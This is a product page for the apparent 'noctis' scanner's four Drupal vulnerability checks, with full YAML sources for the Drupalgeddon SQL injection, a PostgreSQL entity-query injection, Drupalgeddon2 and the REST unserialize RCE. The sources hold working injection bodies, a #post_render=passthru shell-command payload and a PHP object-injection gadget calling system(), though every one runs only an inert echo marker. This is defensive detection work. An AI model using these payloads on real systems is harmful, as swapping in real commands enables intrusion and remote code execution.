Drupal — 4 vulnerability checks

noctis ships 4 vulnerability checks for Drupal, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Drupal 7 < 7.32 Drupalgeddon SQL Injection (SA-CORE-2014-005)

CVECVE-2014-3704
Severitycritical · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionset_var, script, http_request, match · highest QoD 97
Feedtests/vulnerabilities/drupal/CVE-2014-3704.yaml

Posts the anonymous user_login_block form with an SQL expression in an array key of `name`. Confirms the injection when MySQL evaluates md5() of a random integer inside updatexml() and the resulting XPath error echoes the digest (QoD 97); on sites that hide errors, confirms it from the differential 500 "unexpected error" page versus a syntactically valid control key (QoD 75). Probes the login block on /?q=node, then /?q=user/login when the block is absent.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /?q=node&destination=node with a crafted body
  3. Checks err.body for XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)~[0-9a-f]{24} → finding QoD 97: Drupalgeddon SQLi confirmed — the injected name[] key made MySQL compute md5(…) (prefix …), leaked in the updatexml() XPath error on POST /…
  4. HTTP(S) request POST /?q=node&destination=node with a crafted body
  5. Checks ctl.body for (?i)unrecognized username or password|user-login → finding QoD 75: Drupalgeddon SQLi (blind) — a name[] key calling updatexml() returned Drupal's HTTP 500 'unexpected error' page while the valid-SQL control…
  6. HTTP(S) request POST /?q=user/login with a crafted body
  7. Checks err2.body for XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)~[0-9a-f]{24} → finding QoD 97: Drupalgeddon SQLi confirmed — the injected name[] key made MySQL compute md5(…) (prefix …), leaked in the updatexml() XPath error on POST /…
  8. HTTP(S) request POST /?q=user/login with a crafted body
  9. Checks ctl2.body for (?i)unrecognized username or password|user-login → finding QoD 75: Drupalgeddon SQLi (blind) — a name[] key calling updatexml() returned Drupal's HTTP 500 'unexpected error' page while the valid-SQL control…

References:

Feed source — tests/vulnerabilities/drupal/CVE-2014-3704.yaml
# Drupal 7 < 7.32 "Drupalgeddon" SQL injection (CVE-2014-3704, SA-CORE-2014-005)
#
# DatabaseConnection::expandArguments() builds the placeholder list of an array
# argument from the array KEYS, so an anonymous login form posted with
# `name[<sql>]=x` splices <sql> into the user lookup query. 7.32 switched to
# array_values(), so the keys never reach SQL any more.
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_drupal_70595.nasl
# (OID 1.3.6.1.4.1.25623.1.0.105101, GPL-2.0-only), with a stronger proof:
#
#   * The NASL posts a stacked `name[0; SELECT <vtstring>;#]` key and flags the
#     host when the page shows the form-API "mb_strlen() expects parameter 1"
#     warning without Drupal's "unexpected error" page. That needs error display
#     on, and nothing in the response proves the injected SQL ran.
#   * Here (same primitive as the Nuclei template) the injected key makes MySQL
#     compute md5(<random 9-digit int>) inside updatexml(), whose XPath error
#     1105 echoes the digest: "XPATH syntax error: '~<md5>'" (Drupal shows the
#     quote HTML-escaped as &#039;). The request carries only the integer, never
#     its digest, so a page that reflects the request cannot match — only a
#     database that executed the injected expression can (QoD 97). Read-only:
#     no row is written, no data is read.
#   * Blind fallback for production sites with error display off (the NASL
#     misses them): the updatexml() key yields Drupal's 500 "unexpected error"
#     page while a control key `0 or 1#` (valid SQL, same shape) yields the
#     ordinary failed-login page (QoD 75). On 7.32+ `name` is still an array, so
#     the query degenerates to `name = :name_0, :name_1` — a syntax error for
#     BOTH keys — and the differential never appears.
#   * The NASL only posts the login-block form on /?q=node; a site whose theme
#     has no login block ignores it. When that first pair gets no 500, the same
#     two probes are repeated on /?q=user/login with form_id=user_login (always
#     built), which reaches the same validator.
#
# Known gaps: MySQL/MariaDB only (updatexml()), Drupal 7 on PostgreSQL/SQLite is
# not covered; Drupal in a sub-directory is not probed; a scanner IP already over
# Drupal's failed-login flood limit (50/hour by default) never reaches the query.
#
# http_request is fine here: the brackets and %23 are in the urlencoded BODY,
# which reqwest sends verbatim (only the URL path is normalised).
uid: 111746ca-f88b-4ece-b373-219bfed69f77
name: "Drupal 7 < 7.32 Drupalgeddon SQL Injection (SA-CORE-2014-005)"
description: |
  Posts the anonymous user_login_block form with an SQL expression in an array
  key of `name`. Confirms the injection when MySQL evaluates md5() of a random
  integer inside updatexml() and the resulting XPath error echoes the digest
  (QoD 97); on sites that hide errors, confirms it from the differential 500
  "unexpected error" page versus a syntactically valid control key (QoD 75).
  Probes the login block on /?q=node, then /?q=user/login when the block is absent.
cves: [CVE-2014-3704]
cvss: 7.5
severity: critical
confidence_base: 0.30
category: sqli
tags: [drupal, drupalgeddon, sqli, intrusive, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-3704"
  - "https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2014-10-15/sa-core-2014-005-drupal-core-sql"
  - "OpenVAS/Greenbone NASL 2014/gb_drupal_70595.nasl (OID 1.3.6.1.4.1.25623.1.0.105101, GPL-2.0-only)"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2014/CVE-2014-3704.yaml"

steps:
  - id: init
    action: set_var
    var_name: sqli_confirmed
    var_value: false

  - id: init-block
    action: set_var
    var_name: block_reached
    var_value: false

  # Per-run random integer and the first 24 hex chars of its md5 — the part
  # that always fits in MySQL's 32-char XPath error text after the '~'.
  - id: mint
    action: script
    code: |
      let n = rand_int(100000000, 999999999);
      #{ n: n, want: substr(md5("" + n), 0, 23) }
    store_as: probe

  # ---- Pair 1: login block on /?q=node (the NASL's request) ----------------
  # Error-based: MySQL must compute md5(n) and leak it via updatexml().
  - id: sqli-error
    action: http_request
    method: POST
    path: "/?q=node&destination=node"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "pass=noctis&form_build_id=&form_id=user_login_block&op=Log+in&name[0+or+updatexml(0x23,concat(0x7e,md5({{probe.n}})),1)%23]=noctis&name[0]=noctis"
    store_as: err

  - id: confirm-error
    action: match
    condition: 'type_of(err.body) == "string" && stridx(err.body, probe.want) >= 0'
    source: err.body
    pattern: "XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)~[0-9a-f]{24}"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "Drupalgeddon SQLi confirmed — the injected name[] key made MySQL compute md5({{probe.n}}) (prefix {{probe.want}}), leaked in the updatexml() XPath error on POST /?q=node&destination=node (HTTP {{err.status}})"
      set_vars:
        sqli_confirmed: true

  # The block form reached SQL (500 "unexpected error"): stay on this pair.
  - id: mark-block
    action: set_var
    condition: 'err.status == 500 && stridx(err.body, "The website encountered an unexpected error") >= 0'
    var_name: block_reached
    var_value: true

  # Blind fallback (error display off): same shape, valid SQL, no error.
  - id: sqli-control
    action: http_request
    condition: "sqli_confirmed == false && block_reached == true"
    method: POST
    path: "/?q=node&destination=node"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "pass=noctis&form_build_id=&form_id=user_login_block&op=Log+in&name[0+or+1%23]=noctis&name[0]=noctis"
    store_as: ctl

  - id: confirm-blind
    action: match
    condition: 'sqli_confirmed == false && block_reached == true && type_of(ctl.body) == "string" && ctl.status == 200 && stridx(ctl.body, "unexpected error") < 0'
    source: ctl.body
    pattern: "(?i)unrecognized username or password|user-login"
    on_match:
      finding:
        confidence_delta: 0.40
        qod: 75
        evidence: "Drupalgeddon SQLi (blind) — a name[] key calling updatexml() returned Drupal's HTTP 500 'unexpected error' page while the valid-SQL control key `0 or 1#` returned the normal failed-login page (HTTP 200) on POST /?q=node&destination=node"
      set_vars:
        sqli_confirmed: true

  # ---- Pair 2: /?q=user/login (always built) when the block was absent -----
  - id: sqli-error-page
    action: http_request
    condition: "sqli_confirmed == false && block_reached == false"
    method: POST
    path: "/?q=user/login"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "pass=noctis&form_build_id=&form_id=user_login&op=Log+in&name[0+or+updatexml(0x23,concat(0x7e,md5({{probe.n}})),1)%23]=noctis&name[0]=noctis"
    store_as: err2

  - id: confirm-error-page
    action: match
    condition: 'sqli_confirmed == false && block_reached == false && type_of(err2.body) == "string" && stridx(err2.body, probe.want) >= 0'
    source: err2.body
    pattern: "XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)~[0-9a-f]{24}"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "Drupalgeddon SQLi confirmed — the injected name[] key made MySQL compute md5({{probe.n}}) (prefix {{probe.want}}), leaked in the updatexml() XPath error on POST /?q=user/login (HTTP {{err2.status}})"
      set_vars:
        sqli_confirmed: true

  - id: sqli-control-page
    action: http_request
    condition: 'sqli_confirmed == false && block_reached == false && err2.status == 500 && stridx(err2.body, "The website encountered an unexpected error") >= 0'
    method: POST
    path: "/?q=user/login"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "pass=noctis&form_build_id=&form_id=user_login&op=Log+in&name[0+or+1%23]=noctis&name[0]=noctis"
    store_as: ctl2

  - id: confirm-blind-page
    action: match
    condition: 'sqli_confirmed == false && block_reached == false && err2.status == 500 && stridx(err2.body, "The website encountered an unexpected error") >= 0 && type_of(ctl2.body) == "string" && ctl2.status == 200 && stridx(ctl2.body, "unexpected error") < 0'
    source: ctl2.body
    pattern: "(?i)unrecognized username or password|user-login"
    on_match:
      finding:
        confidence_delta: 0.40
        qod: 75
        evidence: "Drupalgeddon SQLi (blind) — a name[] key calling updatexml() returned Drupal's HTTP 500 'unexpected error' page while the valid-SQL control key `0 or 1#` returned the normal failed-login page (HTTP 200) on POST /?q=user/login"

Drupal Core Anonymous SQL Injection via PostgreSQL Entity Query

CVECVE-2026-9082
Severitycritical · CVSS 9.8
Categorysqli — SQL injection
Serviceshttp, https
Detectionhttp_request, match · highest QoD 75
Feedtests/vulnerabilities/drupal/CVE-2026-9082.yaml

Sends a JSON:API filter that breaks the PostgreSQL entity query and reports a SQLSTATE error, then confirms with a boolean pair on /user/login (true condition returns 500, false condition returns 400).

How noctis detects it

  1. HTTP(S) request GET /jsonapi/node/article?filter[t][condition][path]=title&filter[t][condition][operator]…
  2. Checks jsonapi_resp.body for SQLSTATE\[HY → finding QoD 75: Drupal JSON:API returned HTTP 500 with SQLSTATE[HY error on backtick filter injection — confirms PostgreSQL SQL injection via CVE-2026-9082.
  3. HTTP(S) request POST /user/login?_format=json with a crafted body
  4. HTTP(S) request POST /user/login?_format=json with a crafted body
  5. Checks login_false_resp.body for unrecognized → finding QoD 75: Drupal login endpoint exhibits boolean-blind SQL injection: true condition returns HTTP 500, false condition returns HTTP 400 with unrecogn…
Feed source — tests/vulnerabilities/drupal/CVE-2026-9082.yaml
uid: e5369253-3a73-4b11-91f3-1cb669274949
name: "Drupal Core Anonymous SQL Injection via PostgreSQL Entity Query"
description: "Sends a JSON:API filter that breaks the PostgreSQL entity query and reports a SQLSTATE error, then confirms with a boolean pair on /user/login (true condition returns 500, false condition returns 400)."
cves: [CVE-2026-9082]
cvss: 9.8
severity: critical
category: sqli
confidence_base: 0.10
tags:
  - drupal
  - sqli
  - postgresql
  - kev
services:
  - http
  - https
author: noctis
version: "1.0.0"

steps:
  # Path 1 — JSON:API error leak (PostgreSQL-specific)
  # Passes a backtick as a filter value key; triggers SQLSTATE error on vuln instances
  - id: jsonapi-probe
    action: http_request
    method: GET
    path: "/jsonapi/node/article?filter[t][condition][path]=title&filter[t][condition][operator]=IN&filter[t][condition][value][%60]=x"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 12
    store_as: jsonapi_resp

  - id: jsonapi-sqlstate-match
    action: match
    source: jsonapi_resp.body
    pattern: "SQLSTATE\\[HY"
    condition: "jsonapi_resp.status == 500"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 75
        evidence: "Drupal JSON:API returned HTTP 500 with SQLSTATE[HY error on backtick filter injection — confirms PostgreSQL SQL injection via CVE-2026-9082."
      set_vars:
        sqli_confirmed: true

  # Path 2 — Boolean-blind via login endpoint (any database)
  # True condition (1=1) should return 500; false condition (1=2) should return 400
  - id: login-true-probe
    action: http_request
    method: POST
    path: "/user/login?_format=json"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 12
    headers:
      Content-Type: "application/json"
    body: '{"name":{"0":"x","0||1/(SELECT CASE WHEN (1=1) THEN 0 END)":"x"},"pass":"x"}'
    store_as: login_true_resp

  - id: login-false-probe
    action: http_request
    method: POST
    path: "/user/login?_format=json"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 12
    headers:
      Content-Type: "application/json"
    body: '{"name":{"0":"x","0||1/(SELECT CASE WHEN (1=2) THEN 0 END)":"x"},"pass":"x"}'
    store_as: login_false_resp
    condition: "login_true_resp.status == 500"

  - id: login-boolean-match
    action: match
    source: login_false_resp.body
    pattern: "unrecognized"
    condition: "login_true_resp.status == 500 && login_false_resp.status == 400"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 75
        evidence: "Drupal login endpoint exhibits boolean-blind SQL injection: true condition returns HTTP 500, false condition returns HTTP 400 with unrecognized — confirms CVE-2026-9082."

Drupal Core Form API Property Injection RCE (Drupalgeddon2, CVE-2018-7600)

CVECVE-2018-7600
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 100
Feedtests/vulnerabilities/drupal/CVE-2018-7600.yaml

Tests Drupal 7 and 8 for the Drupalgeddon2 Form API property-injection RCE without authentication. On Drupal 8 the user/register AJAX form is sent a #post_render=passthru callback; on Drupal 7 the same callback is cached through the password-reset form and triggered with the file/ajax rebuild. The injected shell command prints NOCTIS followed by the product of two random numbers; the finding needs that product in the reply, a value only a shell that ran the command can produce, so a page that merely echoes the request does not match. Nothing is created on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=dru… with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. Checks d8_hit for ^true$ → finding QoD 100: Drupal 8 user/register AJAX: #post_render=passthru ran `echo NOCTIS$((…*…))XN` and the reply (status …) holds NOCTIS…XN — a product absent …
  5. HTTP(S) request POST /?q=user/password&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&n… with a crafted body
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request POST /?q=file/ajax/name/%23value/{{d7_fbid}} with a crafted body
  8. Parses / computes the next value with a Rhai script
  9. Checks d7_hit for ^true$ → finding QoD 100: Drupal 7 file/ajax rebuild of form …: the cached #post_render=passthru ran `echo NOCTIS$((…*…))XN` and the reply (status …) holds NOCTIS…XN…

References:

Feed source — tests/vulnerabilities/drupal/CVE-2018-7600.yaml
# Drupal Core Form API Property Injection RCE — "Drupalgeddon2" — CVE-2018-7600
#
# Drupal 7 < 7.58 and 8 < 8.3.9 / 8.4.6 / 8.5.1 fail to sanitise renderable-array
# properties (keys beginning with "#") supplied through the Form API. By pointing
# an AJAX form rebuild at an element whose "#post_render" callback and "#markup"
# the attacker controls, an unauthenticated attacker runs arbitrary PHP
# callbacks (passthru → shell command).
#
# Detection method (both majors, read-only, nothing is created on the target):
#   Drupal 8 — POST /user/register?element_parents=account/mail/%23value&ajax_form=1
#     with mail[#post_render][]=passthru and mail[#markup]=<cmd>; passthru writes the
#     command's stdout at the head of the AJAX reply.
#   Drupal 7 — POST /?q=user/password with name[#post_render][]=passthru and
#     name[#markup]=<cmd> in the query string (Drupal caches that form state under
#     a form_build_id), then POST /?q=file/ajax/name/%23value/<form_build_id>, which
#     renders the cached element and runs the callback.
#   <cmd> is `echo NOCTIS$((A*B))XN` with random A, B: the finding needs the
#   product NOCTIS<A*B>XN in the reply, a value the shell computes and that never
#   appears in the request — a page that echoes the request (debug page, WAF block
#   page, honeypot) only shows the unevaluated "$((A*B))" text (#2356; the former
#   probe echoed a fixed marker sent verbatim in the request).
#   The Drupal 8 POST to /user/register fails validation (no account is created);
#   the Drupal 7 password-reset form fails on the array user name (no mail sent).
#   Verified on the official drupal:8.5.0 / 7.57 images (fires) and 8.5.1 / 7.58
#   (no finding). Windows hosts (cmd.exe has no $(( ))) are not covered.
uid: a3607c36-bc9e-41b7-921a-a2c523eb5a7d
name: "Drupal Core Form API Property Injection RCE (Drupalgeddon2, CVE-2018-7600)"
description: |
  Tests Drupal 7 and 8 for the Drupalgeddon2 Form API property-injection RCE
  without authentication. On Drupal 8 the user/register AJAX form is sent a
  #post_render=passthru callback; on Drupal 7 the same callback is cached through
  the password-reset form and triggered with the file/ajax rebuild. The injected
  shell command prints NOCTIS followed by the product of two random numbers; the
  finding needs that product in the reply, a value only a shell that ran the
  command can produce, so a page that merely echoes the request does not match.
  Nothing is created on the target.
cves: [CVE-2018-7600]
cvss: 9.8
severity: critical
confidence_base: 0.25
category: rce
tags: [drupal, rce, drupalgeddon2, form-api, kev, intrusive]
services: [http, https]
author: noctis
version: "1.1.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-7600"
  - "https://www.drupal.org/sa-core-2018-002"
  - "https://github.com/dreadlocked/Drupalgeddon2"
  - "https://github.com/pimps/CVE-2018-7600"

steps:
  - id: gen
    action: script
    code: |
      let a = rand_int(10000, 46000);
      let b = rand_int(10000, 46000);
      #{ a: a, b: b, prod: "" + (a * b), want: "NOCTIS" + (a * b) + "XN",
         cmd: "echo%20NOCTIS%24%28%28" + a + "%2A" + b + "%29%29XN" }
    store_as: g

  - id: set_d8_hit
    action: set_var
    var_name: d8_hit
    var_value: false

  - id: set_d7_hit
    action: set_var
    var_name: d7_hit
    var_value: false

  # ── Drupal 8: user/register AJAX rebuild of account/mail/#value ──────────
  - id: d8_probe
    action: http_request
    method: POST
    path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 12
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Accept: "application/json"
      X-Requested-With: "XMLHttpRequest"
    body: "form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=passthru&mail%5B%23type%5D=markup&mail%5B%23markup%5D={{g.cmd}}"
    store_as: d8_resp

  # Guarded: a transport error leaves d8_resp unset (skip, don't abort the D7 path).
  - id: d8_verdict
    action: script
    condition: "d8_resp.status > 0"
    code: |
      let r = if type_of(d8_resp.body) == "string" { d8_resp.body } else { "" };
      r != "" && stridx(r, g.want) >= 0
    store_as: d8_hit

  - id: d8_match
    action: match
    source: d8_hit
    pattern: "^true$"
    condition: "d8_hit == true"
    on_match:
      finding:
        confidence_delta: 0.75
        qod: 100
        evidence: "Drupal 8 user/register AJAX: #post_render=passthru ran `echo NOCTIS$(({{g.a}}*{{g.b}}))XN` and the reply (status {{d8_resp.status}}) holds NOCTIS{{g.prod}}XN — a product absent from the request"
      stop: true

  # ── Drupal 7: cache the injected element via user/password … ─────────────
  - id: d7_build
    action: http_request
    condition: "d8_hit != true"
    method: POST
    path: "/?q=user/password&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D={{g.cmd}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 12
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password"
    store_as: d7_form

  - id: d7_extract
    action: script
    condition: "d8_hit != true && d7_form.status > 0"
    code: |
      let r = if type_of(d7_form.body) == "string" { d7_form.body } else { "" };
      let m = eregmatch("name=\"form_build_id\" value=\"(form-[A-Za-z0-9_-]+)\"", r);
      if type_of(m) == "array" && m.len() > 1 { m[1] } else { "" }
    store_as: d7_fbid

  # … then trigger its rendering through the file/ajax rebuild.
  - id: d7_trigger
    action: http_request
    condition: "d8_hit != true && d7_fbid != \"\""
    method: POST
    path: "/?q=file/ajax/name/%23value/{{d7_fbid}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 12
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "form_build_id={{d7_fbid}}"
    store_as: d7_resp

  - id: d7_verdict
    action: script
    condition: "d8_hit != true && d7_fbid != \"\" && d7_resp.status > 0"
    code: |
      let r = if type_of(d7_resp.body) == "string" { d7_resp.body } else { "" };
      r != "" && stridx(r, g.want) >= 0
    store_as: d7_hit

  - id: d7_match
    action: match
    source: d7_hit
    pattern: "^true$"
    condition: "d8_hit != true && d7_hit == true"
    on_match:
      finding:
        confidence_delta: 0.75
        qod: 100
        evidence: "Drupal 7 file/ajax rebuild of form {{d7_fbid}}: the cached #post_render=passthru ran `echo NOCTIS$(({{g.a}}*{{g.b}}))XN` and the reply (status {{d7_resp.status}}) holds NOCTIS{{g.prod}}XN — a product absent from the request"

Drupal 8 REST/HAL unserialize RCE (SA-CORE-2019-003, CVE-2019-6340)

CVECVE-2019-6340
Severityhigh · CVSS 8.1
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 97
Feedtests/vulnerabilities/drupal/CVE-2019-6340.yaml

Detects CVE-2019-6340 by POSTing a HAL+JSON node whose link field `options` carries a Guzzle FnStream/HandlerStack PHP object-injection gadget calling system() with an inert `echo NOCTIS$()<token>` command (or the cmd.exe `echo NOCTIS^<token>` form on Windows), and confirming the shell-collapsed per-run marker in the response — proving unauthenticated remote code execution (Drupal 8.5.x < 8.5.11, 8.6.x < 8.6.10, REST/JSON:API).

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /node/?_format=hal_json with a crafted body
  3. Checks exploit_resp.body for NOCTIS[0-9a-f]{32} → finding QoD 97: Drupal REST/HAL unserialize gadget executed system() (sh) — the shell-collapsed per-run marker … came back from POST /node/?_format=hal_jso…
  4. HTTP(S) request POST /node/?_format=hal_json with a crafted body
  5. Checks exploit_win_resp.body for NOCTIS[0-9a-f]{32} → finding QoD 97: Drupal REST/HAL unserialize gadget executed system() (cmd.exe) — the shell-collapsed per-run marker … came back from POST /node/?_format=ha…
  6. HTTP(S) request POST /node/?_format=hal_json with a crafted body
  7. Checks exploit_proxy_resp.body for NOCTIS[0-9a-f]{32} → finding QoD 97: Drupal REST/HAL unserialize gadget executed system() (sh, type href with the site's proxied http:// scheme) — the shell-collapsed per-run m…

References:

Feed source — tests/vulnerabilities/drupal/CVE-2019-6340.yaml
# Drupal 8 REST / HAL PHP unserialize RCE (SA-CORE-2019-003) — CVE-2019-6340
#
# Drupal 8.5.x < 8.5.11 and 8.6.x < 8.6.10 do not sanitise data of some field
# types received from non-form sources. With the core RESTful Web Services
# module enabled and POST/PATCH allowed (or JSON:API), the `options` property of
# a `link` field is passed to PHP unserialize(), so an unauthenticated attacker
# can send a Guzzle FnStream / HandlerStack gadget chain whose destructor calls
# an arbitrary callable — here system(<cmd>) — and the command's stdout is
# written straight into the HTTP response.
#
# Source: ported from OpenVAS/Greenbone NVT
#   2019/drupal/gb_drupal_sa-core-2019-003_active.nasl (OID 1.3.6.1.4.1.25623.1.0.142038,
#   GPL-2.0-only). Same request as the NVT: POST <dir>/node/?_format=hal_json,
#   Content-Type application/hal+json, `link[0].options` = the serialized
#   FnStream -> HandlerStack(handler=<cmd>, stack=[[system]]) gadget, and
#   `_links.type.href` = <base>/rest/type/shortcut/default. Like the NVT, the
#   response body is matched without a status gate (system() output is flushed
#   before Drupal emits its JSON error envelope). Only the command differs,
#   plus the Windows and TLS-proxy retries below.
#
# Detection method (benign in-band proof, shell collapse):
#   A `script` step mints a per-run token `tok = rand_hex(16)` and builds INERT
#   echo commands whose output differs from their text: `echo NOCTIS$()<tok>`
#   (sh drops the empty `$()`) and, if that fails, `echo NOCTIS^<tok>` for a
#   Windows host (cmd.exe strips the `^` escape). The PHP string length
#   (`s:<n>:`) is computed from the command so unserialize() accepts it. RCE is
#   confirmed only when the body contains the contiguous per-run `NOCTIS<tok>` —
#   a server reflecting the request verbatim keeps the `$()`/`^` and does not
#   match, and a constant marker fails the per-run token check. QoD 97.
#   Each attempt runs only if the previous one found nothing (`stop: true`).
#
# Type-link resolution: Drupal rejects the body before unserialize() unless
# `_links.type.href` equals its own <scheme>://<host>[:port] base, so the base
# omits a default port (and keeps/adds IPv6 brackets). On HTTPS, a last attempt uses
# an http:// href, for a site behind a TLS-terminating reverse proxy that Drupal
# does not trust (it then builds its links with http://).
#
# Not covered (same as the NVT): Drupal installed in a sub-directory, a custom
# `hal.settings link_domain`, JSON:API-only sites, and a Windows host behind a
# TLS-terminating proxy (the proxy retry only sends the sh payload).
#
# Cyber-safety: the only command run is `echo` — no file, network, persistence
# or secret access. Note the request is a node-creation POST; on a vulnerable
# site the gadget fires during denormalization, before any entity is saved.
uid: 9828b534-face-4bde-a6e6-05d3a883ef6f
name: "Drupal 8 REST/HAL unserialize RCE (SA-CORE-2019-003, CVE-2019-6340)"
description: |
  Detects CVE-2019-6340 by POSTing a HAL+JSON node whose link field `options`
  carries a Guzzle FnStream/HandlerStack PHP object-injection gadget calling
  system() with an inert `echo NOCTIS$()<token>` command (or the cmd.exe
  `echo NOCTIS^<token>` form on Windows), and confirming the shell-collapsed
  per-run marker in the response — proving unauthenticated
  remote code execution (Drupal 8.5.x < 8.5.11, 8.6.x < 8.6.10, REST/JSON:API).
cves: [CVE-2019-6340]
cvss: 8.1
severity: high
category: rce
confidence_base: 0.25
tags: [drupal, rce, deserialization, php-object-injection, rest, hal-json, kev, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2019-6340"
  - "https://www.drupal.org/sa-core-2019-003"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-6340.yaml"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/drupal_restws_unserialize.rb"

steps:
  # Per-run token, the inert collapse commands, their PHP string lengths, and
  # the site base URL for `_links.type.href`. Drupal resolves the type link
  # against its own scheme://host[:port] (default port omitted, IPv6 in []; the
  # engine itself only reaches an IPv6 target given as `[addr]`).
  # `alt_base` swaps the scheme, for an HTTPS site behind a TLS-terminating
  # proxy that Drupal does not trust (it then sees itself as http://).
  - id: build-payload
    action: script
    code: |
      let tok = rand_hex(16);
      let s = "" + scheme;
      let p = "" + port;
      let h = "" + target_host;
      if h.contains(":") && !h.starts_with("[") { h = "[" + h + "]"; }
      if !((s == "http" && p == "80") || (s == "https" && p == "443")) { h = h + ":" + p; }
      let cmd_sh = "echo NOCTIS$()" + tok;
      let cmd_win = "echo NOCTIS^" + tok;
      let alt = if s == "https" { "http" } else { "https" };
      #{ marker: "NOCTIS" + tok,
         cmd_sh: cmd_sh, len_sh: strlen(cmd_sh),
         cmd_win: cmd_win, len_win: strlen(cmd_win),
         base: s + "://" + h, alt_base: alt + "://" + h }
    store_as: p

  # Guzzle FnStream -> HandlerStack gadget: FnStream::__destruct() calls the
  # `close` method = [HandlerStack, "resolve"], which invokes the stack entry
  # system() with the handler string (our echo) as its argument. \u0000 are the
  # PHP private-property NUL separators (s:33 / s:32 / s:30 / s:31 include them).
  #
  # 1) Unix target: `echo NOCTIS$()<tok>` — sh drops the empty `$()`.
  - id: exploit
    action: http_request
    method: POST
    path: "/node/?_format=hal_json"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/hal+json"
      Accept: "application/hal+json"
    body: '{"link":[{"value":"link","options":"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:{{p.len_sh}}:\"{{p.cmd_sh}}\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"}],"_links":{"type":{"href":"{{p.base}}/rest/type/shortcut/default"}}}'
    store_as: exploit_resp

  - id: detect
    action: match
    source: exploit_resp.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "stridx(exploit_resp.body, p.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.72
        qod: 97
        evidence: "Drupal REST/HAL unserialize gadget executed system() (sh) — the shell-collapsed per-run marker {{p.marker}} came back from POST /node/?_format=hal_json (status {{exploit_resp.status}}); unauthenticated RCE confirmed"
      stop: true

  # 2) Windows target: PHP system() runs cmd.exe, which keeps `$()` but strips
  #    the `^` escape, so `echo NOCTIS^<tok>` prints the same contiguous marker
  #    (and sh would keep the `^`, so each variant only matches its own shell).
  - id: exploit-win
    action: http_request
    method: POST
    path: "/node/?_format=hal_json"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/hal+json"
      Accept: "application/hal+json"
